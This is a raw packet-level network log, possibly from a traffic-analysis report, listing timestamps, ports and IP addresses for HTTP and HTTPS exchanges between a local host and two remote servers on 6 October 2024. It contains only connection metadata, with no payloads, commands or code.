Oct 6, 2024 22:33:09.010819912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010835886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010852098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010854006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010868073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010873079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010881901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010886908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010901928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010906935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010917902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010921955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010940075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011079073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011121988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011157990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011174917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011190891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011198044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011198997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011214018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011234045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011255026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011482954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011497974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011507988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011518002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011528015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011538029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011544943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011548996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011563063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011564970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011574030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011600018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011774063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011785030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011794090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011804104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011815071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011823893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011825085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011836052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011845112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011845112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011873007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011873960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011884928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011894941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011904001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011908054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011913061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011924028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011930943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011933088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011943102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011949062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011951923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011961937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.011967897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.011979103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012002945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012547016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012557030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012567043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012577057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012586117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012593985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012594938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012603998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012614012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012618065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012624979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012635946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.012644053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012651920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.012679100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013056993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013082981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013092995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013102055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013112068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013118029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013123035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013127089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013132095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013135910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013137102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013137102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013155937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013164997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013170004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013179064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013190031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013197899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013199091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013210058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013221979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013222933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013231039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013240099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013243914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013250113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013267994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013290882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.013978958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013988018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.013998032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014005899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014015913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014024973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014034986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014048100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014060974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014061928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014071941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014080048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014087915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014090061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014097929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014107943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014111996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014117956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014126062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014133930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014134884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014144897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014153004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014156103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014163017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014167070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014175892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014180899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014185905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014195919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014203072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014204025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014215946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014226913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014238119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014261007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014853954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014864922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014874935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014883041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.014918089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.014940977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.020751953 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.021632910 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.022116899 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.022135973 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.022655964 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.022664070 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.022918940 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.022933006 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.023415089 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.023420095 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.091509104 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.091533899 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.091590881 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.091607094 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.091653109 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.091876030 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.091881990 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.091901064 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.092084885 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.092125893 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.093499899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093523979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093524933 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.093534946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093558073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.093576908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.093653917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093663931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093672991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093683004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.093699932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.093712091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.095098019 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.095149040 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.095218897 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.095360041 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.095371962 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.096237898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096250057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096266985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096276045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096323013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096337080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096339941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096381903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096410036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096421957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096451044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096462011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096472979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096514940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096795082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096843958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096843958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096853971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096864939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.096879005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.096899033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097060919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097069979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097081900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097086906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097088099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097096920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097106934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097109079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097112894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097145081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097145081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097312927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097439051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097470999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097481012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097495079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097506046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097515106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097526073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097531080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097531080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097541094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097549915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097553968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097563028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097565889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.097572088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.097594976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098053932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098068953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098078966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098089933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098099947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098114014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098119020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098124027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098124027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098128080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098139048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098145008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098148108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098155022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098156929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098165035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098175049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098180056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098182917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098189116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098197937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098208904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098212957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098212957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098212957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098222971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098234892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098251104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098263025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.098948002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098958015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098968029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098978043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098987103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.098995924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099009991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099019051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099028111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099036932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099046946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099055052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099056959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099056959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099066019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099076033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099081039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099081039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099081039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099081039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099086046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099096060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099096060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099101067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099107027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099116087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099122047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099154949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099154949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099728107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099833965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099843979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099853992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099864006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099874020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099884033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099885941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099893093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099896908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099904060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099912882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099921942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099922895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099931002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099941969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099942923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099947929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099951982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099951982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.099961042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099966049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099971056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.099975109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100003004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100027084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100472927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100482941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100491047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100500107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100505114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100512981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100517988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100522041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100532055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100538969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100548983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100572109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100739956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100750923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100759983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100816965 CEST	49741	80	192.168.2.4	141.98.233.156
